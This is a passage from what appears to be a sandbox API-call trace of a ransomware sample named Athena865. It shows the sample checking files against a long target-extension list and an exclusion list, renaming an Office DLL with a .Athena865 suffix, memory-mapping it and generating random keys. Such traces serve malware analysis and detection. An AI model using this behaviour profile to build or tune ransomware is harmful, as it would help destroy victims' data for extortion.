[0069.857] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0069.857] lstrlenW (lpString="usr") returned 3 [0069.857] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0069.857] lstrlenW (lpString="v12") returned 3 [0069.857] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0069.857] lstrlenW (lpString="vis") returned 3 [0069.857] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0069.857] lstrlenW (lpString="vpd") returned 3 [0069.858] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0069.858] lstrlenW (lpString="vvv") returned 3 [0069.858] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0069.858] lstrlenW (lpString="wdb") returned 3 [0069.858] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0069.858] lstrlenW (lpString="wmdb") returned 4 [0069.858] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0069.858] lstrlenW (lpString="wrk") returned 3 [0069.858] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0069.858] lstrlenW (lpString="xdb") returned 3 [0069.858] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0069.858] lstrlenW (lpString="xld") returned 3 [0069.858] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0069.858] lstrlenW (lpString="xmlff") returned 5 [0069.858] lstrcmpiW (lpString1="S.DLL", lpString2="xmlff") returned -1 [0069.858] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\ELEMENTS.DLL.Athena865") returned 65 [0069.858] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ELEMENTS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\elements.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ELEMENTS.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\elements.dll.athena865"), dwFlags=0x1) returned 1 [0069.867] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ELEMENTS.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\elements.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0069.867] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=260488) returned 1 [0069.867] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0069.867] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0069.867] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0069.867] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0069.868] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0069.868] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0069.868] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3fc90, lpName=0x0) returned 0x154 [0069.870] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3fc90) returned 0x170000 [0069.902] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0069.903] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0069.903] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0069.903] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0069.903] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0069.903] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0069.903] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0069.903] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0069.903] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0069.903] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0069.903] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0069.903] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0069.903] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0069.903] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0069.906] CloseHandle (hObject=0x154) returned 1 [0069.906] CloseHandle (hObject=0x17c) returned 1 [0069.906] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0069.906] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0069.906] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0069.907] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd30c0c80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x237a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ELEMUTIL.DLL", cAlternateFileName="")) returned 1 [0069.907] lstrcmpiW (lpString1="ELEMUTIL.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0069.908] lstrcmpiW (lpString1="ELEMUTIL.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0069.908] lstrcmpiW (lpString1="ELEMUTIL.DLL", lpString2=".") returned 1 [0069.908] lstrcmpiW (lpString1="ELEMUTIL.DLL", lpString2="..") returned 1 [0069.908] lstrcmpiW (lpString1="ELEMUTIL.DLL", lpString2="windows") returned -1 [0069.908] lstrcmpiW (lpString1="ELEMUTIL.DLL", lpString2="bootmgr") returned 1 [0069.908] lstrcmpiW (lpString1="ELEMUTIL.DLL", lpString2="temp") returned -1 [0069.908] lstrcmpiW (lpString1="ELEMUTIL.DLL", lpString2="pagefile.sys") returned -1 [0069.908] lstrcmpiW (lpString1="ELEMUTIL.DLL", lpString2="boot") returned 1 [0069.908] lstrcmpiW (lpString1="ELEMUTIL.DLL", lpString2="ids.txt") returned -1 [0069.908] lstrcmpiW (lpString1="ELEMUTIL.DLL", lpString2="ntuser.dat") returned -1 [0069.908] lstrcmpiW (lpString1="ELEMUTIL.DLL", lpString2="perflogs") returned -1 [0069.908] lstrcmpiW (lpString1="ELEMUTIL.DLL", lpString2="MSBuild") returned -1 [0069.908] lstrlenW (lpString="ELEMUTIL.DLL") returned 12 [0069.908] lstrcpyW (in: lpString1=0x241e89e, lpString2="ELEMUTIL.DLL" | out: lpString1="ELEMUTIL.DLL") returned="ELEMUTIL.DLL" [0069.908] lstrlenW (lpString="ELEMUTIL.DLL") returned 12 [0069.908] lstrlenW (lpString="Athena865") returned 9 [0069.908] lstrcmpiW (lpString1="MUTIL.DLL", lpString2="Athena865") returned 1 [0069.908] lstrlenW (lpString=".dll") returned 4 [0069.908] lstrcmpiW (lpString1="ELEMUTIL.DLL", lpString2=".dll") returned 1 [0069.908] lstrlenW (lpString=".lnk") returned 4 [0069.908] lstrcmpiW (lpString1="ELEMUTIL.DLL", lpString2=".lnk") returned 1 [0069.908] lstrlenW (lpString=".ini") returned 4 [0069.908] lstrcmpiW (lpString1="ELEMUTIL.DLL", lpString2=".ini") returned 1 [0069.908] lstrlenW (lpString=".sys") returned 4 [0069.908] lstrcmpiW (lpString1="ELEMUTIL.DLL", lpString2=".sys") returned 1 [0069.908] lstrlenW (lpString="ELEMUTIL.DLL") returned 12 [0069.908] lstrlenW (lpString="bak") returned 3 [0069.908] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0069.908] lstrlenW (lpString="ba_") returned 3 [0069.909] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0069.909] lstrlenW (lpString="dbb") returned 3 [0069.909] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0069.909] lstrlenW (lpString="vmdk") returned 4 [0069.909] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0069.909] lstrlenW (lpString="rar") returned 3 [0069.909] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0069.909] lstrlenW (lpString="zip") returned 3 [0069.909] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0069.909] lstrlenW (lpString="tgz") returned 3 [0069.909] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0069.909] lstrlenW (lpString="vbox") returned 4 [0069.909] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0069.909] lstrlenW (lpString="vdi") returned 3 [0069.909] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0069.909] lstrlenW (lpString="vhd") returned 3 [0069.909] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0069.909] lstrlenW (lpString="vhdx") returned 4 [0069.909] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0069.909] lstrlenW (lpString="avhd") returned 4 [0069.909] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0069.909] lstrlenW (lpString="db") returned 2 [0069.909] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0069.909] lstrlenW (lpString="db2") returned 3 [0069.909] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0069.909] lstrlenW (lpString="db3") returned 3 [0069.909] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0069.909] lstrlenW (lpString="dbf") returned 3 [0069.909] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0069.909] lstrlenW (lpString="mdf") returned 3 [0069.910] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0069.910] lstrlenW (lpString="mdb") returned 3 [0069.910] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0069.910] lstrlenW (lpString="sql") returned 3 [0069.910] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0069.910] lstrlenW (lpString="sqlite") returned 6 [0069.910] lstrcmpiW (lpString1="IL.DLL", lpString2="sqlite") returned -1 [0069.910] lstrlenW (lpString="sqlite3") returned 7 [0069.910] lstrcmpiW (lpString1="TIL.DLL", lpString2="sqlite3") returned 1 [0069.910] lstrlenW (lpString="sqlitedb") returned 8 [0069.910] lstrcmpiW (lpString1="UTIL.DLL", lpString2="sqlitedb") returned 1 [0069.910] lstrlenW (lpString="xml") returned 3 [0069.910] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0069.910] lstrlenW (lpString="$er") returned 3 [0069.910] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0069.910] lstrlenW (lpString="4dd") returned 3 [0069.910] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0069.910] lstrlenW (lpString="4dl") returned 3 [0069.910] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0069.910] lstrlenW (lpString="^^^") returned 3 [0069.910] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0069.910] lstrlenW (lpString="abs") returned 3 [0069.910] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0069.910] lstrlenW (lpString="abx") returned 3 [0069.910] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0069.910] lstrlenW (lpString="accdb") returned 5 [0069.910] lstrcmpiW (lpString1="L.DLL", lpString2="accdb") returned 1 [0069.910] lstrlenW (lpString="accdc") returned 5 [0069.910] lstrcmpiW (lpString1="L.DLL", lpString2="accdc") returned 1 [0069.910] lstrlenW (lpString="accde") returned 5 [0069.911] lstrcmpiW (lpString1="L.DLL", lpString2="accde") returned 1 [0069.911] lstrlenW (lpString="accdr") returned 5 [0069.911] lstrcmpiW (lpString1="L.DLL", lpString2="accdr") returned 1 [0069.911] lstrlenW (lpString="accdt") returned 5 [0069.911] lstrcmpiW (lpString1="L.DLL", lpString2="accdt") returned 1 [0069.911] lstrlenW (lpString="accdw") returned 5 [0069.911] lstrcmpiW (lpString1="L.DLL", lpString2="accdw") returned 1 [0069.911] lstrlenW (lpString="accft") returned 5 [0069.911] lstrcmpiW (lpString1="L.DLL", lpString2="accft") returned 1 [0069.911] lstrlenW (lpString="adb") returned 3 [0069.911] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0069.911] lstrlenW (lpString="adb") returned 3 [0069.911] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0069.911] lstrlenW (lpString="ade") returned 3 [0069.911] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0069.911] lstrlenW (lpString="adf") returned 3 [0069.911] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0069.911] lstrlenW (lpString="adn") returned 3 [0069.911] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0069.911] lstrlenW (lpString="adp") returned 3 [0069.911] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0069.911] lstrlenW (lpString="alf") returned 3 [0069.911] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0069.911] lstrlenW (lpString="ask") returned 3 [0069.911] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0069.911] lstrlenW (lpString="btr") returned 3 [0069.911] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0069.911] lstrlenW (lpString="cat") returned 3 [0069.911] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0069.911] lstrlenW (lpString="cdb") returned 3 [0069.912] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0069.912] lstrlenW (lpString="ckp") returned 3 [0069.912] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0069.912] lstrlenW (lpString="cma") returned 3 [0069.912] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0069.912] lstrlenW (lpString="cpd") returned 3 [0069.912] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0069.912] lstrlenW (lpString="dacpac") returned 6 [0069.912] lstrcmpiW (lpString1="IL.DLL", lpString2="dacpac") returned 1 [0069.912] lstrlenW (lpString="dad") returned 3 [0069.912] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0069.912] lstrlenW (lpString="dadiagrams") returned 10 [0069.912] lstrcmpiW (lpString1="EMUTIL.DLL", lpString2="dadiagrams") returned 1 [0069.912] lstrlenW (lpString="daschema") returned 8 [0069.912] lstrcmpiW (lpString1="UTIL.DLL", lpString2="daschema") returned 1 [0069.912] lstrlenW (lpString="db-journal") returned 10 [0069.912] lstrcmpiW (lpString1="EMUTIL.DLL", lpString2="db-journal") returned 1 [0069.912] lstrlenW (lpString="db-shm") returned 6 [0069.912] lstrcmpiW (lpString1="IL.DLL", lpString2="db-shm") returned 1 [0069.912] lstrlenW (lpString="db-wal") returned 6 [0069.912] lstrcmpiW (lpString1="IL.DLL", lpString2="db-wal") returned 1 [0069.912] lstrlenW (lpString="dbc") returned 3 [0069.912] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0069.912] lstrlenW (lpString="dbs") returned 3 [0069.912] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0069.912] lstrlenW (lpString="dbt") returned 3 [0069.912] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0069.912] lstrlenW (lpString="dbv") returned 3 [0069.912] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0069.912] lstrlenW (lpString="dbx") returned 3 [0069.912] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0069.913] lstrlenW (lpString="dcb") returned 3 [0069.913] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0069.913] lstrlenW (lpString="dct") returned 3 [0069.913] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0069.913] lstrlenW (lpString="dcx") returned 3 [0069.913] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0069.913] lstrlenW (lpString="ddl") returned 3 [0069.913] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0069.913] lstrlenW (lpString="dlis") returned 4 [0069.913] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0069.913] lstrlenW (lpString="dp1") returned 3 [0069.913] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0069.913] lstrlenW (lpString="dqy") returned 3 [0069.913] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0069.913] lstrlenW (lpString="dsk") returned 3 [0069.913] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0069.913] lstrlenW (lpString="dsn") returned 3 [0069.913] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0069.913] lstrlenW (lpString="dtsx") returned 4 [0069.913] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0069.913] lstrlenW (lpString="dxl") returned 3 [0069.913] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0069.913] lstrlenW (lpString="eco") returned 3 [0069.913] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0069.913] lstrlenW (lpString="ecx") returned 3 [0069.913] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0069.913] lstrlenW (lpString="edb") returned 3 [0069.913] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0069.913] lstrlenW (lpString="epim") returned 4 [0069.913] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0069.914] lstrlenW (lpString="fcd") returned 3 [0069.914] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0069.914] lstrlenW (lpString="fdb") returned 3 [0069.914] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0069.914] lstrlenW (lpString="fic") returned 3 [0069.914] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0069.914] lstrlenW (lpString="flexolibrary") returned 12 [0069.914] lstrlenW (lpString="fm5") returned 3 [0069.914] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0069.914] lstrlenW (lpString="fmp") returned 3 [0069.914] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0069.914] lstrlenW (lpString="fmp12") returned 5 [0069.914] lstrcmpiW (lpString1="L.DLL", lpString2="fmp12") returned 1 [0069.914] lstrlenW (lpString="fmpsl") returned 5 [0069.914] lstrcmpiW (lpString1="L.DLL", lpString2="fmpsl") returned 1 [0069.914] lstrlenW (lpString="fol") returned 3 [0069.914] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0069.914] lstrlenW (lpString="fp3") returned 3 [0069.914] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0069.914] lstrlenW (lpString="fp4") returned 3 [0069.914] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0069.914] lstrlenW (lpString="fp5") returned 3 [0069.914] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0069.914] lstrlenW (lpString="fp7") returned 3 [0069.914] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0069.914] lstrlenW (lpString="fpt") returned 3 [0069.914] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0069.914] lstrlenW (lpString="frm") returned 3 [0069.914] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0069.914] lstrlenW (lpString="gdb") returned 3 [0069.915] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0069.915] lstrlenW (lpString="gdb") returned 3 [0069.915] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0069.915] lstrlenW (lpString="grdb") returned 4 [0069.915] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0069.915] lstrlenW (lpString="gwi") returned 3 [0069.915] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0069.915] lstrlenW (lpString="hdb") returned 3 [0069.915] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0069.915] lstrlenW (lpString="his") returned 3 [0069.915] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0069.915] lstrlenW (lpString="ib") returned 2 [0069.915] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0069.915] lstrlenW (lpString="idb") returned 3 [0069.915] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0069.915] lstrlenW (lpString="ihx") returned 3 [0069.915] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0069.915] lstrlenW (lpString="itdb") returned 4 [0069.915] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0069.915] lstrlenW (lpString="itw") returned 3 [0069.915] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0069.915] lstrlenW (lpString="jet") returned 3 [0069.915] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0069.915] lstrlenW (lpString="jtx") returned 3 [0069.915] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0069.915] lstrlenW (lpString="kdb") returned 3 [0069.915] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0069.915] lstrlenW (lpString="kexi") returned 4 [0069.915] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0069.915] lstrlenW (lpString="kexic") returned 5 [0069.915] lstrcmpiW (lpString1="L.DLL", lpString2="kexic") returned 1 [0069.916] lstrlenW (lpString="kexis") returned 5 [0069.916] lstrcmpiW (lpString1="L.DLL", lpString2="kexis") returned 1 [0069.916] lstrlenW (lpString="lgc") returned 3 [0069.916] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0069.916] lstrlenW (lpString="lwx") returned 3 [0069.916] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0069.916] lstrlenW (lpString="maf") returned 3 [0069.916] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0069.916] lstrlenW (lpString="maq") returned 3 [0069.916] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0069.916] lstrlenW (lpString="mar") returned 3 [0069.916] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0069.916] lstrlenW (lpString="marshal") returned 7 [0069.916] lstrcmpiW (lpString1="TIL.DLL", lpString2="marshal") returned 1 [0069.916] lstrlenW (lpString="mas") returned 3 [0069.916] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0069.916] lstrlenW (lpString="mav") returned 3 [0069.916] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0069.916] lstrlenW (lpString="maw") returned 3 [0069.916] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0069.916] lstrlenW (lpString="mdbhtml") returned 7 [0069.916] lstrcmpiW (lpString1="TIL.DLL", lpString2="mdbhtml") returned 1 [0069.916] lstrlenW (lpString="mdn") returned 3 [0069.916] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0069.916] lstrlenW (lpString="mdt") returned 3 [0069.916] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0069.916] lstrlenW (lpString="mfd") returned 3 [0069.916] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0069.916] lstrlenW (lpString="mpd") returned 3 [0069.917] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0069.917] lstrlenW (lpString="mrg") returned 3 [0069.917] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0069.917] lstrlenW (lpString="mud") returned 3 [0069.917] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0069.917] lstrlenW (lpString="mwb") returned 3 [0069.917] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0069.917] lstrlenW (lpString="myd") returned 3 [0069.917] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0069.917] lstrlenW (lpString="ndf") returned 3 [0069.917] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0069.917] lstrlenW (lpString="nnt") returned 3 [0069.917] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0069.917] lstrlenW (lpString="nrmlib") returned 6 [0069.917] lstrcmpiW (lpString1="IL.DLL", lpString2="nrmlib") returned -1 [0069.917] lstrlenW (lpString="ns2") returned 3 [0069.917] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0069.917] lstrlenW (lpString="ns3") returned 3 [0069.917] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0069.917] lstrlenW (lpString="ns4") returned 3 [0069.917] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0069.917] lstrlenW (lpString="nsf") returned 3 [0069.917] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0069.917] lstrlenW (lpString="nv") returned 2 [0069.917] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0069.917] lstrlenW (lpString="nv2") returned 3 [0069.917] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0069.917] lstrlenW (lpString="nwdb") returned 4 [0069.917] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0069.917] lstrlenW (lpString="nyf") returned 3 [0069.917] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0069.918] lstrlenW (lpString="odb") returned 3 [0069.918] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0069.918] lstrlenW (lpString="odb") returned 3 [0069.918] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0069.918] lstrlenW (lpString="oqy") returned 3 [0069.918] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0069.918] lstrlenW (lpString="ora") returned 3 [0069.918] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0069.918] lstrlenW (lpString="orx") returned 3 [0069.918] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0069.918] lstrlenW (lpString="owc") returned 3 [0069.918] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0069.918] lstrlenW (lpString="p96") returned 3 [0069.918] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0069.918] lstrlenW (lpString="p97") returned 3 [0069.918] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0069.918] lstrlenW (lpString="pan") returned 3 [0069.918] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0069.918] lstrlenW (lpString="pdb") returned 3 [0069.918] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0069.918] lstrlenW (lpString="pdm") returned 3 [0069.918] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0069.918] lstrlenW (lpString="pnz") returned 3 [0069.918] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0069.918] lstrlenW (lpString="qry") returned 3 [0069.918] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0069.918] lstrlenW (lpString="qvd") returned 3 [0069.918] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0069.918] lstrlenW (lpString="rbf") returned 3 [0069.918] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0069.918] lstrlenW (lpString="rctd") returned 4 [0069.919] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0069.919] lstrlenW (lpString="rod") returned 3 [0069.919] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0069.919] lstrlenW (lpString="rodx") returned 4 [0069.919] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0069.919] lstrlenW (lpString="rpd") returned 3 [0069.919] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0069.919] lstrlenW (lpString="rsd") returned 3 [0069.919] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0069.919] lstrlenW (lpString="sas7bdat") returned 8 [0069.919] lstrcmpiW (lpString1="UTIL.DLL", lpString2="sas7bdat") returned 1 [0069.919] lstrlenW (lpString="sbf") returned 3 [0069.919] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0069.919] lstrlenW (lpString="scx") returned 3 [0069.919] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0069.919] lstrlenW (lpString="sdb") returned 3 [0069.919] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0069.919] lstrlenW (lpString="sdc") returned 3 [0069.919] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0069.919] lstrlenW (lpString="sdf") returned 3 [0069.919] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0069.919] lstrlenW (lpString="sis") 